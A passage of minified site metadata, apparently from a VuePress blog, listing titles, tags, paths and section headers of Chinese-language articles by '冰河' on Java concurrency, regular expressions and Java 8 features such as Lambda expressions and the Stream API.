.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html",relativePath:"md/concurrent/source/2020-03-30-015-浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier.md",key:"v-73a938c9",path:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html",headers:[{level:2,title:"CountDownLatch",slug:"countdownlatch"},{level:3,title:"概述",slug:"概述"},{level:3,title:"使用场景",slug:"使用场景"},{level:3,title:"代码示例",slug:"代码示例"},{level:2,title:"Semaphore",slug:"semaphore"},{level:3,title:"概述",slug:"概述-2"},{level:3,title:"使用场景",slug:"使用场景-2"},{level:3,title:"代码示例",slug:"代码示例-2"},{level:2,title:"CyclicBarrier",slug:"cyclicbarrier"},{level:3,title:"概述",slug:"概述-3"},{level:3,title:"使用场景",slug:"使用场景-3"},{level:3,title:"CyclicBarrier与CountDownLatch的区别",slug:"cyclicbarrier与countdownlatch的区别"},{level:3,title:"代码示例",slug:"代码示例-3"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"Java中主要分为两类锁,一类是synchronized修饰的锁,另外一类就是J.U.C中提供的锁。J.U.C中提供的核心锁就是ReentrantLock。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html"},{name:"twitter:title",content:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html",relativePath:"md/concurrent/source/2020-03-30-016-浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition.md",key:"v-38a0b656",path:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html",headers:[{level:2,title:"ReentrantLock",slug:"reentrantlock"},{level:3,title:"概述",slug:"概述"},{level:3,title:"代码示例",slug:"代码示例"},{level:2,title:"ReentrantReadWriteLock",slug:"reentrantreadwritelock"},{level:3,title:"概述",slug:"概述-2"},{level:3,title:"代码示例",slug:"代码示例-2"},{level:2,title:"StampedLock",slug:"stampedlock"},{level:3,title:"概述",slug:"概述-3"},{level:3,title:"代码示例",slug:"代码示例-3"},{level:2,title:"Condition",slug:"condition"},{level:3,title:"概述",slug:"概述-4"},{level:3,title:"代码示例",slug:"代码示例-4"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"朋友去面试竟然栽在了Thread类的源码上",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"朋友去面试竟然栽在了Thread类的源码上",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"最近和一个朋友聊天,他跟我说起了他去XXX公司面试的情况,面试官的一个问题把他打懵了!竟然问他:你经常使用Thread创建线程,那你看过Thread类的源码吗?我这个朋友自然是没看过Thread类的源码,然后,就没有然后了!!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"朋友去面试竟然栽在了Thread类的源码上"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html"},{name:"twitter:title",content:"朋友去面试竟然栽在了Thread类的源码上"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html",relativePath:"md/concurrent/source/2020-03-30-017-朋友去面试竟然栽在了Thread类的源码上.md",key:"v-77700dbf",path:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html",headers:[{level:2,title:"前言",slug:"前言"},{level:2,title:"Thread类的继承关系",slug:"thread类的继承关系"},{level:2,title:"Thread类的源码剖析",slug:"thread类的源码剖析"},{level:3,title:"Thread类定义",slug:"thread类定义"},{level:3,title:"加载本地资源",slug:"加载本地资源"},{level:3,title:"Thread中的成员变量",slug:"thread中的成员变量"},{level:3,title:"线程的状态定义",slug:"线程的状态定义"},{level:3,title:"Thread类的构造方法",slug:"thread类的构造方法"},{level:3,title:"init()方法",slug:"init-方法"},{level:3,title:"run()方法",slug:"run-方法"},{level:3,title:"start()方法",slug:"start-方法"},{level:3,title:"sleep()方法",slug:"sleep-方法"},{level:3,title:"join()方法",slug:"join-方法"},{level:3,title:"interrupt()方法",slug:"interrupt-方法"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"如何使用Java7提供的ForkJoin框架实现高并发程序?",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"如何使用Java7提供的ForkJoin框架实现高并发程序?",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"位于J.U.C(java.util.concurrent)中,是Java7中提供的用于执行并行任务的框架,其可以将大任务分割成若干个小任务,最终汇总每个小任务的结果后得到最终结果。基本思想和Hadoop的MapReduce思想类似。主要采用的是工作窃取算法(某个线程从其他队列里窃取任务来执行),并行分治计算中的一种Work-stealing策略",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"如何使用Java7提供的ForkJoin框架实现高并发程序?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html"},{name:"twitter:title",content:"如何使用Java7提供的ForkJoin框架实现高并发程序?"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html",relativePath:"md/concurrent/source/2020-03-30-018-如何使用Java7提供的ForkJoin框架实现高并发程序?.md",key:"v-b98c1c30",path:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html",headers:[{level:2,title:"Fork/Join框架",slug:"fork-join框架"},{level:2,title:"为什么需要使用工作窃取算法呢?",slug:"为什么需要使用工作窃取算法呢"},{level:3,title:"工作窃取算法的优点",slug:"工作窃取算法的优点"},{level:3,title:"工作窃取算法的缺点",slug:"工作窃取算法的缺点"},{level:2,title:"Fork/Join框架局限性",slug:"fork-join框架局限性"},{level:2,title:"Fork/Join框架的核心类",slug:"fork-join框架的核心类"},{level:2,title:"示例代码",slug:"示例代码"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/advanced/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/java/advanced/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/advanced/default.html",relativePath:"md/core/java/advanced/default.md",key:"v-964db876",path:"/md/core/java/advanced/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"全网最全正则表达式总结",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"全网最全正则表达式总结",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"全网最全正则表达式总结",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"全网最全正则表达式总结"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html"},{name:"twitter:title",content:"全网最全正则表达式总结"},{name:"twitter:url",content:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html",relativePath:"md/core/java/basics/2022-04-28-全网最全正则表达式总结.md",key:"v-6ca0b234",path:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html",headers:[{level:2,title:"冰河常用正则",slug:"冰河常用正则"},{level:2,title:"时间正则案例",slug:"时间正则案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/basics/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/java/basics/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/basics/default.html",relativePath:"md/core/java/basics/default.md",key:"v-a6f54436",path:"/md/core/java/basics/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一张图带你领略Java8有哪些新特性",frontmatter:{layout:"post",category:"binghe-code-life",title:"一张图带你领略Java8有哪些新特性",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"很多小伙伴留言说,冰河你能不能写一些关于Java8的文章呢,看书看不下去,看视频进度太慢。好吧,看到不少读者对Java8还是比较陌生的,那我就写一些关于Java8的文章吧,希望对大家有所帮助。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一张图带你领略Java8有哪些新特性"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html"},{name:"twitter:title",content:"一张图带你领略Java8有哪些新特性"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html",relativePath:"md/core/java/java8/2022-03-31-001-Java8有哪些新特性呢?.md",key:"v-93f98e38",path:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Java8有哪些新特性?",slug:"java8有哪些新特性"},{level:2,title:"Java8有哪些优点?",slug:"java8有哪些优点"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"你知道Java8为什么要引入Lambda表达式吗?",frontmatter:{layout:"post",category:"binghe-code-life",title:"你知道Java8为什么要引入Lambda表达式吗?",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"这是一道真实的面试题,一个读者朋友出去面试,面试官竟然问他这样一个问题:你说说Java8中为什么引入Lambda表达式?引入Lambda表达式后有哪些好处呢?还好这个朋友对Java8早有准备。不过,如果是看文章的你出去面试,面试官问你这样的问题,你是否也能轻松回答呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"你知道Java8为什么要引入Lambda表达式吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html"},{name:"twitter:title",content:"你知道Java8为什么要引入Lambda表达式吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-002-你知道Java8为什么引入Lambda表达式吗.md",key:"v-1ea15bae",path:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是Lambda表达式?",slug:"什么是lambda表达式"},{level:2,title:"匿名内部类",slug:"匿名内部类"},{level:2,title:"Lambda表达式",slug:"lambda表达式"},{level:2,title:"对比常规方法和Lambda表达式",slug:"对比常规方法和lambda表达式"},{level:3,title:"1.常规遍历集合",slug:"_1-常规遍历集合"},{level:3,title:"2.使用设计模式优化代码",slug:"_2-使用设计模式优化代码"},{level:3,title:"3.匿名内部类",slug:"_3-匿名内部类"},{level:3,title:"4.重头戏:Lambda表达式",slug:"_4-重头戏-lambda表达式"},{level:3,title:"5.重头戏:Stream API",slug:"_5-重头戏-stream-api"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Lambda表达式基础语法,都在这儿了!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"Lambda表达式基础语法,都在这儿了!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"前面积极响应读者的需求,写了两篇Java新特性的文章。有小伙伴留言说:感觉Lambda表达式很强大啊!一行代码就能够搞定那么多功能!我想学习下Lambda表达式的语法,可以吗?我的回答是:没问题!这不,Lambda表达式来了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Lambda表达式基础语法,都在这儿了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"Lambda表达式基础语法,都在这儿了!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/java/java8/2022-03-31-003-Lambda表达式基础语法,都在这儿了.md",key:"v-b74b60de",path:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"匿名类到Lambda表达式",slug:"匿名类到lambda表达式"},{level:2,title:"Lambda表达式的语法",slug:"lambda表达式的语法"},{level:2,title:"函数式接口",slug:"函数式接口"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Lambda表达式典型案例,你想要的的都在这儿了!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"Lambda表达式典型案例,你想要的的都在这儿了!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"不得不说,有些小伙伴的学习热情真高,学完了Lambda表达式的语法,想来几个典型案例再强化下。于是问冰河能否给几个Lambda表达式的典型使用示例。于是乎,便有了这篇文章。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Lambda表达式典型案例,你想要的的都在这儿了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"Lambda表达式典型案例,你想要的的都在这儿了!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/java/java8/2022-03-31-004-Lambda表达式典型案例,你想要的的都在这儿了.md",key:"v-64eac13d",path:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"案例一",slug:"案例一"},{level:3,title:"需求",slug:"需求"},{level:3,title:"实现",slug:"实现"},{level:2,title:"案例二",slug:"案例二"},{level:3,title:"需求",slug:"需求-2"},{level:3,title:"实现",slug:"实现-2"},{level:2,title:"案例三",slug:"案例三"},{level:3,title:"需求",slug:"需求-3"},{level:3,title:"实现",slug:"实现-3"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一文搞懂函数式接口",frontmatter:{layout:"post",category:"binghe-code-life",title:"一文搞懂函数式接口",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8中内置了一些在开发中常用的函数式接口,极大的提高了我们的开发效率。那么,问题来了,你知道都有哪些函数式接口吗?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一文搞懂函数式接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"一文搞懂函数式接口"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html",relativePath:"md/core/java/java8/2022-03-31-005-一文搞懂函数式接口.md",key:"v-3750b18e",path:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"函数式接口总览",slug:"函数式接口总览"},{level:3,title:"四大核心函数式接口",slug:"四大核心函数式接口"},{level:3,title:"其他函数接口",slug:"其他函数接口"},{level:2,title:"四大核心函数式接口",slug:"四大核心函数式接口-2"},{level:2,title:"Consumer接口",slug:"consumer接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明"},{level:3,title:"2.使用示例",slug:"_2-使用示例"},{level:2,title:"Supplier接口",slug:"supplier接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明-2"},{level:3,title:"2.使用示例",slug:"_2-使用示例-2"},{level:2,title:"Function接口",slug:"function接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明-3"},{level:3,title:"2.使用示例",slug:"_2-使用示例-3"},{level:2,title:"Predicate接口",slug:"predicate接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明-4"},{level:3,title:"2.使用示例",slug:"_2-使用示例-4"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"知识点总结,你都会了吗?",frontmatter:{layout:"post",category:"binghe-code-life",title:"知识点总结,你都会了吗?",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"冰河,你可以给我讲讲Java8新特性的知识点吗?可以啊,没问题。这不,Java8新特性的知识点来了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"知识点总结,你都会了吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:title",content:"知识点总结,你都会了吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-006-知识点总结,你都会了吗.md",key:"v-011ed2a4",path:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Java7与Java8中的HashMap",slug:"java7与java8中的hashmap"},{level:2,title:"JDK8 HashMap重排序",slug:"jdk8-hashmap重排序"},{level:2,title:"筛选与切片",slug:"筛选与切片"},{level:2,title:"中间操作",slug:"中间操作"},{level:2,title:"终止操作",slug:"终止操作"},{level:2,title:"归约",slug:"归约"},{level:2,title:"Optional 容器类",slug:"optional-容器类"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"浅谈方法引用和构造器引用",frontmatter:{layout:"post",category:"binghe-code-life",title:"浅谈方法引用和构造器引用",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8中一个很牛逼的新特性就是方法引用和构造器引用,为什么说它很牛逼呢?往下看。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"浅谈方法引用和构造器引用"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html"},{name:"twitter:title",content:"浅谈方法引用和构造器引用"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html",relativePath:"md/core/java/java8/2022-03-31-007-方法引用和构造器引用.md",key:"v-2096be65",path:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"方法引用",slug:"方法引用"},{level:2,title:"构造器引用",slug:"构造器引用"},{level:2,title:"数组引用",slug:"数组引用"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于Java8的Stream API,都在这儿了",frontmatter:{layout:"post",category:"binghe-code-life",title:"关于Java8的Stream API,都在这儿了",tagline:"by 